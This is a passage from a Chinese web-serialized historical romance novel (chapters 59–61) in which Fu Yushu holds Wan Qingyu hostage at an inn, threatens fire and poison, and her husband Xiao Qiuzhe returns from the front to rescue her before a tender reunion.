她擦了把眼泪,将手中的筷子重重放下,道:“我不会喝。我为何要死?付钰书,方才我还觉得你可怜,如今看来,你根本不值得怜悯,要死你自己去死,我还要好好活着,我还要等我夫君归来,与他白头偕老。” 这一刻,她也不再纵容他了,好话说尽了,那就说点刺激的。 等她的夫君?等萧秋折。 付钰书惨然一笑,道:“好,好,既然你不愿陪我……” 他说着,端起粥碗要喝。 晚青妤见状,一把打落他手中的碗,又将自己的粥碗狠狠摔在地上。瓷片四溅间,她扬手狠狠地打了他一巴掌。 “付钰书!”她几乎怒喝着,眼中又噙满了泪,“就算要死,也别死在我眼前,你现在就滚,滚。” 头一次,她在他面前这样歇斯底里地怒喝着,嗓音和身子都是发颤的,一双手也握了起来。 付钰书的脸颊火辣辣地疼,可他却一边流着眼泪,一边苦笑。 死也死不了。 他抓起她发抖的手,指尖抚过她发红的掌心,低哑道:“这么用力,手,疼不疼?” 任何时候,他都舍不得她受伤害。 可他却在粥里给她下毒。 晚青妤皱着眉一阵苦笑。 她的胸口疼得几乎窒息,带着恳求的语气道:“付钰书,你到底要怎样才肯清醒?我,我真的快要崩溃了。你放过我,也放过你自己好不好?” “好不好?” 她捶着堵得要命的胸口,问他:“你说,你想听什么?想听我说爱你吗?想听我说我曾经是多么多么爱你吗?好,我说给你听。付钰书,是,我承认曾经喜欢过你,也仰慕过你,还想过嫁给你,但那是在我年少的年纪里。谁都有青春过往,一段感情并不注定永远。有过,不就已经足够了吗?何必非要强求结果呢?即便是结发夫妻,也未必能一生一世,人心易变,今日喜欢这个,明日爱上那个,皆有可能。付钰书,你把爱情想得太美好了。” “其实,爱情也没有那么美好的。” “若有一天你遇到真心待你的女子,再回首今日,你会觉得多么可笑,给自己一次机会,好不好?” “好不好?” 她连连问了他好几次。 说到最后,她再也支撑不住,慢慢蹲下身来,擦着滑落的眼泪,可是越擦越多,越擦越觉得委屈。 她只不过是曾经与他有过一段美好,怎么就成了折磨对方的利刃呢? 好崩溃啊!很难过,也很失望,更觉得委屈。 她把脸埋进膝盖里失声痛哭了起来,从小到大,她从未如此痛苦地哭过。 她很冷,也很饿,也想躲在娘亲怀里被呵护。 什么时候才能结束? 他见她哭得那么伤心,他开始惊慌了,一遍遍地叫着“青妤”。 而就在这时,门外突然传来敲门声,随从压低声音焦急道:“公子,张攸年带着大批官兵找过来了,我们断后,您快带着人走。” 第60章 第60章萧秋折回来了!!!…… 经过张攸年连夜搜寻,终是在城外一处偏僻山脚寻得一家客栈。这客栈孤零零立于荒野,四周荒草丛生,若不细察极易错过。 店中仅有一个掌柜并一个小二,见大批官兵举着火把、持刀围来,那小二连滚带爬地跑出来,战战兢兢问道:“官……官爷,可是来抓人的?” 张攸年一身绯色官服,手握长剑,面容冷峻地扫了四周一眼,然后抬头望向客栈二楼那扇亮着灯的窗棂,沉声喝道:“围起来!” 接着,手带刀枪的官兵们立时将客栈围得水泄不通。 那小二见状,冷汗涔涔,不待张攸年问话便急道:“店里一男一女投宿,不知官爷寻的可是……” 话未说完,张攸年已一把揪住他的衣领:“在哪个房间?” 小二颤巍巍指向二楼:“就……就在那间亮灯的屋里。” 张攸年目光锁定那间房屋,正欲带人冲入,忽见那扇窗“吱呀”一声推开,紧接着,付钰书挟着晚青妤现于窗前。他的一只手紧攥着晚青妤手臂,目光扫过楼下官兵,最终落在张攸年身上。 晚青妤见这阵仗,深知付钰书此番在劫难逃,低声劝道:“你放我下去。我去找张攸年,或可保你一命。付钰书,都这个时候了,保命要紧。” 这种时候,他再固执,只有死路一条。 付钰书听闻这话却将她攥得更紧,指节都泛了白。夜风拂过,吹动二人衣袂,在月色下显得格外凄凉。 付钰书死死扣着她的手腕,冲着楼下厉声喝道:“张攸年,你倒是来得快,可今日休想将晚青妤带走。这客栈四周皆已洒满火油,就连这间屋子也不例外。只需一把火,我和青妤便可同赴黄泉。” 付钰书依旧疯狂。 晚青妤未料他竟在此泼了火油,她惊慌道:“付钰书,你要死便自己去死,何苦拉上我?” 生死关头,她终究是怕的。 楼下的张攸年面色铁青,握剑的手青筋暴起。他仰头怒斥:“付钰书,枉你身为七尺男儿,竟以弱女子相挟,你若敢伤她分毫,我定将你碎尸万段,且付家满门,一个不留。” “呵!”付钰书冷笑一声,“张攸年,你也配说我?你背主求荣,借着言书堂步步高升,如今倒在这里装起正人君子来了,就算你当了官,与青妤又有何干系?我们的恩怨,还轮不到你来指手画脚。” 本来付钰书的情绪稳定了许多,时下看到张攸年,又开始癫狂起来,晚青妤真怕他被张攸年激怒了做出伤她的事。她伸手欲取他腰间的匕首,却被他一把扣住手腕。 匕首“咣当”一声落地,接着被付钰书一脚踢开。 付钰书又从腰间取出火折子,对楼下的张攸年道:“放我和青妤走,否则我就点燃这里,届时整座客栈顷刻间就会化为火海。” “畜生。”张攸年见状大骂一声,亦是面色煞白,“你说,你要怎样才肯放人?” “撤兵。”付钰书冷喝一声,“带着你的人全部撤退。” 他讨厌张攸年,纵使他活不了,也不想落到张攸年的手中。 “姐姐!”这时候,晚青桁与方于匆匆赶到,他一见姐姐被挟持在楼上,顿时红了眼眶,急声喊道:“姐姐,你没事吧?付钰书,你放了我姐姐。” “青桁。”晚青妤看到弟弟,瞬间红了眼睛。 “姐姐,你别怕。”晚青桁急忙安慰她,然后指着付钰书怒骂道:“付钰书,你这个畜生,你算什么男人?快放了我姐姐,否则我定将你千刀万剐。” 以前晚青桁就觉得付钰书不正常,就讨厌他,没想到他竟然疯狂到这种程度。 付钰书并不在意他的辱骂,回道:“青桁,对不住,是我不好,才让你姐姐狠心抛弃我。不过无妨,活着不能相守,死后总能同穴。” “你敢。”晚青桁急得直跺脚,“要杀就杀我,放了我姐姐,我求你。” 付钰书不再理会他,转而冷眼看向张攸年,嘴角噙着一抹讥诮:“张攸年,你也不是什么善类。怎么,我让你撤兵你不敢撤了?自己是如何爬上这个位置的,你心里最清楚。今日我便是死,也绝不会让你得偿所愿。现在撤兵放我们走,我保证不伤青妤分毫。否则……” 他说着将火折子高高举起,屋檐上的灯笼映照着他沧桑的面容:“只要这火折子落下,方圆十丈立成火海。张攸年,撤兵吧!” 张攸年双拳紧握,他心知若此时放虎归山,以付钰书的心机手段,必定再难擒获。更何况此人身边必有死士护卫,此番出逃定是有所筹谋。 “快撤兵啊!”晚青桁急得双目赤红,拽着张攸年的衣袖嘶吼,“先救我姐姐,只要她平安,怎样都行。” 然而,张攸年却如雕塑般纹丝不动,一双寒眸死死盯着付钰书。 付钰书见他不回答,冷笑道:“怎么?是在试探我的决心?” 他话音未落,竟真的点燃了火折子,随手抛向窗边的帷幔。 “轰”的一声,帷幔瞬间燃起熊熊烈火。 晚青桁见状几乎崩溃,哭喊着:“张攸年,你快撤兵。付钰书,我求求你放过我姐姐,放过我姐姐,我姐姐什么都没有做错,你为何非要这么折磨她呢?” 晚青桁哭得痛心不已,怎么也想不明白,儿时那个温润的小公子,如今怎么变成这般模样。 付钰书充耳不闻,依旧紧紧抓着晚青妤立在窗前。 火势渐猛,张攸年却仍如磐石般伫立,唯有握剑的手青筋暴起,眼中寒芒闪烁。 晚青桁疯了一般摇晃张攸年:“你在等什么?我姐姐就要死了,你撤兵啊!” 张攸年的眼眶也红了,却依旧不肯下命令,他只是死死盯着付钰书那双跳动着疯狂火光的眼眸,牙关紧咬,纹丝不动。 火舌攀着窗帘一路往上烧,几人就这般僵持着。 晚青妤泪眼朦胧中,看见张攸年的剑微微抬起,却最终没能出鞘。 眼看火舌就要舔舐到洒满火油的角落,付钰书见张攸年依旧不肯撤兵,心中一沉,猛地扯下燃烧的窗帘扔在地上,狠狠踩灭。 张攸年竟然在用晚青妤的性命来试探他的底线。 张攸年果然非同一般。 付钰书冲他轻蔑一笑,“砰”地一声重重关上了窗户。 晚青桁见火势被灭,窗户被关,双腿一阵发软,他大口喘息着,质问张攸年:“你为何不撤兵?方才我姐姐差点就没命了。你跟一个疯子较什么劲?拿我姐姐的命赌什么?” 张攸年僵挺地站着,握剑的手咯咯作响,沉声道:“他不敢伤你姐姐。他父母已经为他铺好了后路,此时若放他走,再难寻觅踪迹。现在,唯有与他周旋,方有一线生机。” 他也在赌,赌付钰书不敢真的伤害晚青妤,赌自己既能救得了晚青妤,也能活捉付钰书。 此时屋内,付钰书强压怒火,拉着晚青妤坐下。他揉着胀痛的太阳穴,苦笑道:“看清了吗?危急时刻,才知张攸年待你有几分真心。” 他还紧抓着晚青妤的手:“青妤,这就是人性,即便我今日难逃一死,你也需离他远些。此人步步高升,必有所图。” 这个时候了,付钰书还能说出“人性”二字,方不知他自己已经把人性展现的淋漓尽致。 晚青妤只觉得可笑,她别过脸去,不愿看他。 而他却执拗地扳过她的肩膀,放缓了声音道:“你放心,我绝不会伤你分毫。你只需暂且陪在我身边就好。” 晚青妤早已心如死灰,话都懒得说了,她现在浑身冰 凉,手腕都快疼得没有知觉了。 当真遇到了大事,才能彻彻底底地看透一个人。 世上自私的人太多,但是自私而不自知的人更多。 庆幸,她现在爱的人不是付钰书,更不是张攸年。 此刻院中,张攸年目光冰冷地望着二楼的窗户,仍在等待时机。他依旧在赌,赌付钰书对晚青妤的情意还剩几分,赌这个疯子是否还存最后一丝人性。 夜风卷着树叶,山间深夜的风还是凉的。 双方僵持,谁都不肯退让半步。 晚青妤此刻已是神魂俱散,呆坐在桌前,泪痕斑驳的脸上血色全无。胸口疼得近乎麻木,十指冰凉如雪,连呼吸都变得艰难。她木然地望着烛火,在等着这两个人无谓的较量。 僵持约莫半个时辰后,门外随从突然轻叩门扉:“公子,张攸年要见你,说要与您单独商议条件。” 张攸年终是熬不住了。 付钰书抬手搓了把脸,沉默片刻后起身,对晚青妤道:“你且在此稍会,我去去就回。” 他说罢对随从使了个眼色:“进去守着。” 随从应了一声,立即进屋守在晚青妤一旁,他手里还握着一把锋利的刀。 付钰书出了房间,关上房门,下了楼。 此时一楼大堂内,张攸年独自负手而立。 他见付钰书下来,抬手示意:“我未带兵刃,亦无随从,今日只与你单独聊聊。” 付钰书扫他一眼,在距他两丈处站定,冷声道:“要谈什么?” 张攸年从容地从桌旁拖出一把圈椅坐下,又指了指对面的方凳:“坐下说话。” 付钰书纹丝未动:“有话快说。” 张攸年神色淡漠,道:“我知你所求。只要你放了青妤,我保你平安离京,亦可护你父母妹妹周全。付家作恶多端,已激起民愤,付家抄家灭门在所难免。但若只保一二人性命,以我如今在朝中的地位,尚可为你们周旋。” 张攸年不退兵,却谈这样的条件,付钰书闻言只是苦笑,而后道:“张攸年,你以为我会信你?我并非要用青妤的性命要挟什么,我只想与她在一起。你既也倾心于她,当知爱而不得的滋味。不过,你恐怕还不知道她的身世吧?” 他向前一步,在一旁的桌前坐下,审视着张攸年的神情道:“她极可能是当今圣上的血脉,与萧秋折乃是堂兄妹。此事她已心知肚明,只待皇家验证。若果真如此……” 付钰书喉结滚动,强忍酸楚:“她与萧秋折此生再无可能。可她现在满心满眼都是萧秋折,这对她可是不小的打击。” 皇贵妃的女儿?张攸年不可置信地皱起了眉头。 只听付钰书继续道:“不如你成全我们。让我带她远走高飞,于你仕途无损。若执意阻拦,你的青云路,怕是要到此为止了。” 他眉峰一压,眸光寒了些:“张攸年,莫以为只有你在暗中查探。你那些见不得人的勾当,我也一清二楚。言书堂为何突然出事?那场大火从何而起?晚青禾又为何险些丧命?这些,你心里应当最是明白。” “你步步为营,处心积虑往上爬,又千方百计想要得到晚青妤,这些,我都留有证据。若我今日身死,你的那些罪证就会立刻呈到御前。到那时,你以为青妤会原谅一个害她二哥的凶手?如此,你多年的苦心经营,岂不全都付诸东流?” 付钰书在威胁。 张攸年神色已变,眼底闪过一丝阴翳,语气却平静地道:“你还有什么条件,不妨直言。” 付钰书冷笑:“你也配与我谈条件?要谈也该是萧秋折来谈,你算什么东西?” 付钰书开口骂人,张攸年却不为所动。 付钰书继续道:“我知你心中所想。但你若执意不退兵,待到明日天亮,你那些罪证便会直达朝廷。罢官事小,杀头,可是连命都没了。” 烛火在二人之间摇曳,映得付钰书的面容忽明忽暗:“张攸年,你苦心经营多年,当真甘心就此功亏一篑?” 张攸年听闻这话,虽表面平静,眼神却已有微动,一只手不自觉地攥紧了腿边的衣袍。 “不如这样……”付钰书忽然一笑,执起桌上的茶壶,慢条斯理地斟了一杯茶。又从袖中取出瓷瓶,将毒药倒入茶盏,“这里头是剧毒,你若敢饮下,我立刻放了青妤。” 付钰书在一步步紧逼。 张攸年眉头紧锁,看着那杯毒茶,拳头攥得咯咯作响。 “怎么?不是说爱晚青妤至深吗?如今连死都不敢?用你的命换她的命,不是很划算吗?”付钰书语带讥讽,“不是口口声声说要给她当情人吗?连杯毒酒都不敢喝,张攸年,你怎么这么虚伪呢?” 付钰书一顿冷嘲热讽,张攸年依旧不反驳,只是盯着那杯毒茶未动。 而就在此时,房门突然被一脚踹开,接着就见一个身着铠甲的身影跨步而入。 “让我来喝。” 话音未落,一柄飞镖“嗖”地擦过付钰书面颊,深深钉入一旁的梁柱上。 付钰书手上一颤,茶盏险些跌落。他猛然抬头,只见萧秋折一身染血战甲,风尘仆仆地立在了门前。 “你……”付钰书瞳孔骤缩,不可置信地望着来人。张攸年亦是震惊起身,目光落在萧秋折身上打量。 边关战事吃紧,各路杀手环伺,萧秋折竟能全身而退,还这般迅速地赶回了京城? 房门被关上。 萧秋折战甲未卸,面上还带着战场上的风霜与血痕,目光冷然地盯着付钰书。 付钰书呆愣了片刻,强自镇定地取出两个茶盏,将毒药尽数倒入两杯茶水中。 “来得正好。”付钰书阴冷一笑,“既然晚青妤不愿随我走,那今日我们三人便同赴黄泉。” 他将其中两盏毒茶往前一推:“你们先饮,我自会放了她。横竖,我活着也无甚意思。” 张攸年望了眼毒茶,未动。 “怎么?怕了?”付钰书眼中癫狂更甚,声音陡然拔高,“口口声声说爱她,如今连杯毒茶都不敢喝?”他指向楼上,“她现在就在我的人手里,只要我一声令下……” 他话音未落,萧秋折便大步上前,一把抓起毒茶一饮而尽,随后捏碎手中杯盏,道:“付钰书,当年没取你性命,当真后悔至极。” 付钰书未料他竟然毫不犹豫地把毒茶喝了,不可置信地看向他。 张攸年亦是惊得倒吸一口凉气。 “现在该放人了吧?”萧秋折冷声问。 付钰书默了一瞬,显然有些被惊住,而后他看向张攸年,不准备放过他:“张攸年,该你了,只要饮下这杯,我立刻放人。” 张攸年不想付钰书还不肯罢休,他沉默片刻,走上前,望着那杯毒茶,面露迟疑,缓缓伸出手。只是还未触到茶盏,萧秋折突然抢先一步,端起他那杯毒茶再次饮尽。 萧秋折再次捏碎杯盏,手掌里嵌入碎片已经开始流血,他并不觉得疼,而是道:“我的妻子,我来护。” 他连张攸年那杯也喝了。 付钰书怔在原地,望着眼前这个历经沙场的男人。数月征战让他褪去了往日的儒雅,眉宇间尽是肃杀之气。战甲上的血迹未干,更添几分慑人威严。 然两盏毒茶下 肚,他竟面色不改,只是眼神愈发凌厉地道:“毒已饮喝,现在放人,尚可饶你不死。付钰书,你爱慕晚青妤本无过错。错就错在,你竟拿她的性命作要挟。我一次次容你,就是不想让我手上沾了你的血,可你一而再再而三地逼迫,未免太不把我们当人了吧!” 他望了一眼桌子上最后一杯毒茶,冷笑一声:“要死是吗?毒茶我已喝,你怎么不喝?” 萧秋折愤怒起来,周身的压迫感震得人不敢心头发颤,付钰书不由自主地后退半步,喉头滚动着没有回答。 “怎么?还不肯放人?嫌我喝得不够多?”萧秋折话音甫落,已端起最后一杯毒茶仰头饮尽,而后将空杯重重砸在桌上,“现在总该够了吧?” 三杯剧毒茶,萧秋折连眉头都不曾皱一下地全部喝下。 付钰书望着他,心神俱震,这一刻也终于明白晚青妤为何会选择眼前这个男人。生死关头,萧秋折毫不犹豫以命相护,而那个口口声声说甘愿做情人的张攸年,却一直踌躇不前,为了自己的算盘,连兵都不肯撤。 房间里瞬间死寂。 萧秋折担心晚青妤,动身向楼上走去,结果却被付钰书一把拉住。萧秋折顿了一下脚步,而后猛转过身来一把将付钰书按倒在桌上。茶盏尽数碎裂,瓷片四溅。 萧秋折已经极力在忍耐自己的情绪,他了解付钰书是个什么样的人,为了不让晚青妤受伤,他一直在忍,可眼下,他三杯毒茶已喝,他竟然还要拉住他。 “狗东西。”萧秋折狠狠骂了一句,火气再也压抑不住了,他死死按住付钰书,一拳重重砸在他脸上,“看来上次在宫中打你打的还不够狠,当时我就该废了你。” 他这一拳下去,付钰书顿时口鼻溢血。 萧秋折声音几乎嘶哑地喊道:“我警告过你,晚青妤是我的妻子,你休要接近她,结果你不但不听,还这般伤害她,你真是活腻了。” 说话间,他抓住付钰书的手臂猛地一拧,只听“咔嚓“一声脆响,骨头应声而断。 付钰书痛呼出声,还未缓过气来,又一记重拳已至面门。萧秋折这一拳用尽全力,连身上染血的铠甲都铮铮作响。付钰书半边脸顿时血肉模糊,一颗牙齿混着鲜血飞溅而出。 一时间被按在桌上的他如同死物般一动不动,任凭萧秋折的拳头如雨点般落下。 这个在战场上杀伐果决,后又死里逃生的男人,此刻将所有的愤怒与心痛都化作狠厉的拳脚。每一拳都带着这些时日来的隐忍,每一脚都含着对爱妻的疼惜。 今日他非要打死付钰书。 而张攸年站在一旁,看着萧秋折染血的拳头一次次落下,竟不敢上前阻拦。时下他还在疑惑,萧秋折是怎么活着回来的。边关若是还未息战,他贸然回来就是逃兵。即便他在边关战胜,那么皇家派出去那么多人杀手要砍他的人头,他又是怎么应付下的。 时刻看着他这般狠厉的模样,忽然觉得,当初或许小瞧了他。 一个敢毫不犹豫喝下三杯毒茶的男人,愤怒起来简直比付钰书还要可怕。 此刻,付钰书几乎被萧秋折打得气息奄奄,却仍扯着嘴角冷笑:“萧秋折,你打死我又如何?你和晚青妤,本就是堂兄妹,你们永远不可能在一起。” 这是萧秋折和晚青妤的命脉。 萧秋折蹙紧眉头,一把掐住他的脖子:“付钰书,除了这些龌龊心思,你还会什么?上次我就警告过你,你还敢胡言乱语,你怎么不听。” 萧秋折手劲很大,手背上已经青筋暴起,付钰书被他掐得面色涨红,依旧从喉间挤出一些字:“你,自己,也信了,不然,为何动怒,大不了,大家一起,死……” 这个时候他还在强硬。萧秋折掐着他的手剧烈颤抖,然后猛地一把将他甩开。 付钰书踉跄倒地,还未爬起,萧秋折已跨步上前,骑在他身上又是几记重拳。付钰书被打得口鼻喷血,再也说不出话来。 “住手,否则我杀了她。”楼梯口突然传来一声厉喝。 萧秋折闻声转头望去,只见付钰书的随从正挟持着晚青妤站在楼梯上,锋利的匕首抵在她纤细的脖颈上,稍微一动就能划出一道血痕。 “萧秋折!” 萧秋折回来了。 晚青妤激动地喊了一声,看到萧秋折后,眼泪瞬间夺眶而出。她动了下身刚想挣扎,那随从立刻收紧匕首,吓得萧秋折浑身一震。 “放开她!”萧秋折怒吼一声。 随从看了一眼趴在地上的付钰书,道:“放我和公子走,我自会放了她。” “好。”萧秋折一口答应,“我这就放你们走,你别伤她。” 随从见他说的认真,挟持着晚青妤,一步步从楼梯走下,要求道:“先撤兵,所有人退出客栈,然后备一匹马。” “好。”萧秋折又毫不犹豫地应下。 而一旁的张攸年却急声道:“不可,他们是朝廷要犯,绝不能放走。” 张攸年还在衡量如何既救得了晚青妤,又能抓获付钰书。 但是萧秋折才不在乎什么朝廷要犯,他只想让他的妻子平安无事。 他转头看向张攸年,冷喝一声:“滚出去,此事由不得你插手。” 说罢,他一把揪起地上的付钰书,推给那随从:“人你带走。” 随从急忙扶住付钰书。 萧秋折大步出了房间,吩咐四周官兵:“放下兵器,全部撤退。” 这些官兵是张攸年带来的,只听张攸年的差遣,他们听后面面相觑,一时不敢动作。 张攸年已走出房间,却仍在犹豫。 萧秋折见他们不动,冷喝一声:“违令者,格杀勿论!” 他冷冷扫向张攸年:“包括你。” 即便张攸年此时已是二品官员,但是在亲王府世子面前依然需得顺从。最终,他摆手,示意所有官兵退下。 这时,方齐牵来一匹骏马,萧秋折将浑身是血的付钰书提上马背,对随从道:“放人,你们即刻可走。” 随从见萧秋折说到做到,将晚青妤推给他,立即翻身上马。 可就在此时,张攸年突然张弓搭箭,对准了马背上的付钰书。 刚扶稳晚青妤的萧秋折已经察觉,他手腕一翻,一枚飞镖破空而出,“铮”地一声击落了张攸年手中的弓箭。 萧秋折冷眼瞥向张攸年,而后吩咐方齐:“追上去,留活口。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章他用指腹摩挲着她的耳朵…… 七日前,萧秋折方收服第五座城池,正欲启程向第六城进发,不料,营中突遭大批黑衣人偷袭,黑衣人身手矫健,目标明确,直取萧秋折性命而来。 正当双方激战正酣,又有一队人马横空出世,其势更猛,非官非匪,形若山野草莽,身形魁梧,性情豪迈,出手既迅且狠,一面纵火焚烧军营,一面围杀萧秋折,局势瞬息万变。 萧秋折率麾下勇士,浴血奋战,三日三夜,方得脱困。 而后萧秋折抓获一名黑衣人,经审问,得知这批黑衣人是奉皇命所遣,他心中暗惊,猜想京城必有巨变,也许付家已经落网,抑或是父亲有所动作,方致皇家遣此等高手取他性命。 萧秋折心中更是忧虑重重,时刻挂念晚青妤安危,原本壮志凌云,欲征服第六城,然此刻心绪难平,甚至,有次梦中惊见晚青妤被人所害,吓得他猛然惊醒,再也无心征战,便连夜部署,先带方齐一路疾驰,奔往京城。 二人三日三夜,风雨兼程,未曾稍歇,仅以干粮果腹,马匹换了一匹又一匹,终是以最快的速度抵达了京城。 回京之后他首先去了晚家,却从玉儿口中得知晚青妤被付钰书挟持,不知所踪。他心急火燎,不及多想,即刻出城寻人。他在城外寻了许久之后,终是在此处寻到了人。 幸好,他来得及时。 时下,山间夜色如水,凉风习习,虫鸣四起,东方渐露鱼肚白,天际泛起晨曦之光。 天快亮了。 晚青妤被困一夜,周身寒气逼人,双手还有轻微颤抖。她抬眸望向萧秋折,泪水如断了线的珠子,簌簌而落,她张了张唇,却哽咽难言。 萧秋折垂首凝视着她,欲伸手轻抚她的脸颊,却发现双手沾满鲜血,只得悄然收回,强忍悲戚,俯身一把将她抱起:“青妤,我们回家。” 回家。 晚青妤点着头,双手紧紧环抱住他的脖颈,脸颊紧贴在他的胸膛上,尽管铠甲冰凉坚硬,却是让她最踏实的战衣。 萧秋折将晚青妤安置于马背之上,自己亦翻身上马,一勒缰绳,带着她策马而去。 张攸年呆立在原地,目光紧随二 人远去的背影,双拳紧握,眼中满是碎裂的痛楚。良久,他才缓缓弯身拾起地上的弓箭,挥手示意周围的士兵随他回京。 京城之夜,虽不及山间那般清冷,却也透着几分凉意。 萧秋折携晚青妤一路疾驰,到了亲王府门前,他下马,将晚青妤抱下,而后抱着她向兰风居走去。 亲王府的下人见状,惊讶之余,连忙跑去禀报王爷与太妃。 萧秋折抱着晚青妤进了兰风居的庭院,吩咐下人速去准备热水与饭菜。下人领命急忙去操持。 萧秋折将晚青妤安置于床上,未及脱下沉重的盔甲,便先在桌前倒了一杯热茶,小心翼翼地喂她饮下。随后,扯下一块布巾,擦去手上的血迹,这才轻轻抚上她苍白消瘦的脸。 他凝视着她,眼眶泛红,沉声道:“对不起,我来晚了,让你受了如此惊吓。别怕,现在没事了。” 他很愧疚。 晚青妤回望着他,他那张在战场上历经风霜、刻满沧桑的脸庞,以及那些或深或浅的伤痕,还有那沾满血迹的盔甲,让她的鼻尖不禁一酸,泪水夺眶而出。 她轻唤一声“萧秋折”,随即扑入他怀中,哽咽着道:“你回来了,真好,你能活着回来,真好。萧秋折,我好想你,真的好想你……” 她边说边哭,或许是因为近日压力沉重,加之昨夜惊魂未定,她整个人瘫倒在他怀里,放声哭了起来。 萧秋折心疼地搂紧她,轻拍她的背,安抚着她。 直到现在,他还心有余悸,不敢想象她被付钰书带走这一夜是怎么煎熬过来的。 不多时,下人前来通报,洗澡水已备好。他缓缓起身,脱下沉重的盔甲,随后抱着她前往浴室。浴室内,浴池已盛满温热的水,散发着氤氲热气。 他将她放到一旁,正欲为她宽衣,她的肩头却微微一缩,道:“我自己来”。 他的手不禁一顿,随即收回,站起身来:“好,你先洗,我在外头守着。” 晚青妤应了一声,望着他离去,这才缓缓脱下衣裳,步入浴池。温热的水包裹着她僵硬冰凉的身躯,让她瞬间放松下来。 门外,萧秋折褪下盔甲后,身上的伤口显露无疑,鲜血遍布,内衫无一处干净。他并未急于包扎伤口,而是静静地等着晚青妤洗漱完毕。 不多时,晚青妤洗漱完,换上干净的衣裳走出房间。萧秋折牵起她的手,带她进入卧房,让她坐在桌前,拿起毛巾,贴心地为她擦着湿漉漉的秀发。 他口中安慰道:“你先坐着歇息一会,饭菜很快就准备好了。等我洗漱完,我们再一同用饭。今日什么都别想,待会好好睡一觉。” 晚青妤应着,一只手紧紧攥着他的衣袖,显然还心有余悸。 萧秋折为她擦干长发,随后简单挽起,又拉起她的双手细细查看,只见那双腕子红肿不堪,他不禁皱紧了眉头。 这些都是付钰书抓的。 他压着火气,吩咐小厮去唤来太医,让太医仔细为她处理手腕上的红肿。交代完,他才转身去洗漱。 尽管伤痛缠身,他仍强忍着不适,迅速洗漱完,复又回到卧房。此时,太医已为晚青妤处理好手腕,正欲为他检查伤势。而他却提出到隔壁房间处理,他身上新伤旧痕交织,实在不忍让晚青妤看见。 太医瞥了一眼仍显惊魂未定的晚青妤,随即随萧秋折步入隔壁房间。太医知晓萧秋折此番前往边关征战,却未曾料到他会如此迅速地归来。望着他身上那些触目惊心的伤痕,新旧交织,不禁心生敬佩,这样一个满身伤痕的人竟能顽强地活下来,实在佩服。 太医一边感叹着,一边为萧秋折处理完伤口,随后便告退了。 萧秋折上好药后,立刻回到主卧。此时,晚青妤正坐在桌前,一手托腮,眼神略显呆滞,似乎还未从方才的惊吓中缓过神来。她听到动静,抬起头,正对上他那双充满心疼的眼睛。 萧秋折在她身旁坐下,拉起她的手,两人相视而望。此刻,无需多说,似胜千言万语。 晚青妤望着望着,泪水再次滑落。萧秋折也强压下心中的酸涩,伸手为她擦了擦眼泪,轻声问道:“饿了吗?我们去用饭可好?” 晚青妤点头,随着他站起身来。 萧秋折紧握着她的手,两人出了房门,向膳厅走去。一路上,他们默默走着,谁都没有说话。 途中,萧秋折动了动手指,与晚青妤十指相扣在一起。 晨光熹微,洒满整个院落,照着花儿与树木,它们开得徇烂夺目,长得郁郁葱葱。 初夏已至,夜晚虽偶有凉意,但白日里已能隐约感受到夏日的热意。 回忆不久前,两人也曾这般携手走着,只是彼时心境已与今时大不相同。 到了膳厅,他们净手而坐。今日桌上摆满了丰盛的佳肴,萧秋折先舀起一碗粥,见晚青妤的手还很冰凉,欲执勺喂她,却被她温声制止:“我自己来吧。” 她怎么忍心见他刚自战场归来,满身伤痕,还要为自己操劳。 萧秋折应了声,自己也盛了碗粥,两人静静吃着。粥入腹中,暖意融融,让他们都感受到了久违的家的温暖。 萧秋折征战数月,未曾有过一日安宁,更未曾享用过一口像样的饭菜,更不必说一碗温热的粥了。此刻喝起来,只觉粥香四溢,甜入心扉。 晚青妤亦是如此,历经一夜波折,此刻只觉这粥尤为甘甜。 喝完粥,萧秋折体贴地为她夹上一些可口的菜,她也不忘为他添菜盛汤。餐桌上,两人虽言语不多,却吃得很是欢心。 这个时候,没有比坐在一起吃一顿饭更让彼此踏实的了。 饭后,晚青妤主动牵起萧秋折的手,两人漫步于清新的院落中。 清晨的院子,空气格外清新。院中几棵大树,萧秋折离去时还只是嫩芽初露,如今已绿叶葱茏。 晚青妤牵着他走到院中一棵枝繁叶茂的大树下坐下。她转眸望向他,明媚的阳光恰好洒在他的脸庞上,映照着他俊朗而略带几分沧桑的面容。 多日未见,他似乎多了几分沉稳,但那双眼眸,依旧如初,依旧好看的勾人。 他的唇,已不复往日如樱花般娇嫩,此刻略显干裂,甚至还褪了一层皮。她心疼地伸出手指,轻轻触碰着他那干裂的唇瓣,温声道:“这些日子,你定是受了不少苦吧?看,嘴唇都干得裂开了。不过没关系,好好调养一番,身体很快就能恢复了。” 他最近总是受伤,她很心疼。 她的眼睛又开始酸酸的,拉起他的左臂,掀开袖子,只见一层纱布紧紧包裹着伤口,那是太医刚刚为他包扎好的。 她轻声问:“手臂如何了?还疼吗?” 问完,不等他回答,她倾身向前,双手扯开他的衣领,仔细查看着他胸前的伤痕。望着那一道道口子,心里更难受了。 萧秋折没敢动身,她突然扒开他胸前的衣衫,他的耳尖不自觉地红了。 她伸手抚摸着他的伤口,凝噎问他:“疼吗?” 他轻轻一笑,摇头道:“不疼,一点也不疼。” 她不放心,又将手探入他的腰间,触碰到一处包扎的纱布,又问:“那这里呢? 伤口应该很严重,疼不疼?” 他被她这般触碰,脸上也红了,有些不好意思地回道:“这里也不疼。” 她又在她腰间摸索,还想知道哪里有伤口。 他被她摸得轻哼一声,道:“有点痒。” 说着,他一把搂住她的腰,轻轻一提,让她坐在自己的腿上,声音低沉地道:“别摸了,我有点……” 晚青妤只顾着关心他的伤口,双手捧住他的脸,目光深切地望着他,问道:“萧秋折,你这次回来,是不是打了胜仗?是不是不再走了?” 她听闻边关之地常年战事不断,多位将军前去都未能攻克,这段时间她从未敢奢望他能够快速地取胜归来。 萧秋折揽着她的腰肢,目光深情地凝视着她,轻轻颔首:“对,此役大胜,且我还收复了周边的五座城池。因为心中挂念于你,我与方齐便先行一步返回,随军的将领与大军不久也将抵达京城。待他们回来,我再去宫中复命,日后便不再走了。” 日后便不再走了。 晚青妤听闻这话,含在眼眶中的泪水簌簌落下,她一边笑一边擦眼泪,温声道:“萧秋折,你当真了不起,我很喜欢。” 若说往昔,她只为他的容颜所动,那么如今,她是为他整个人,为他的魅力与坚韧所倾心。 她说她喜欢。 萧秋折听后望着她,抱着她的动作不由自主地僵住了一瞬,几乎能够清晰听到自己的心跳声。 他愣怔了片刻后,收紧了手臂,将她搂得更紧了一些,目光落在她微启的唇瓣上,喉结滚动两下,动了动唇。 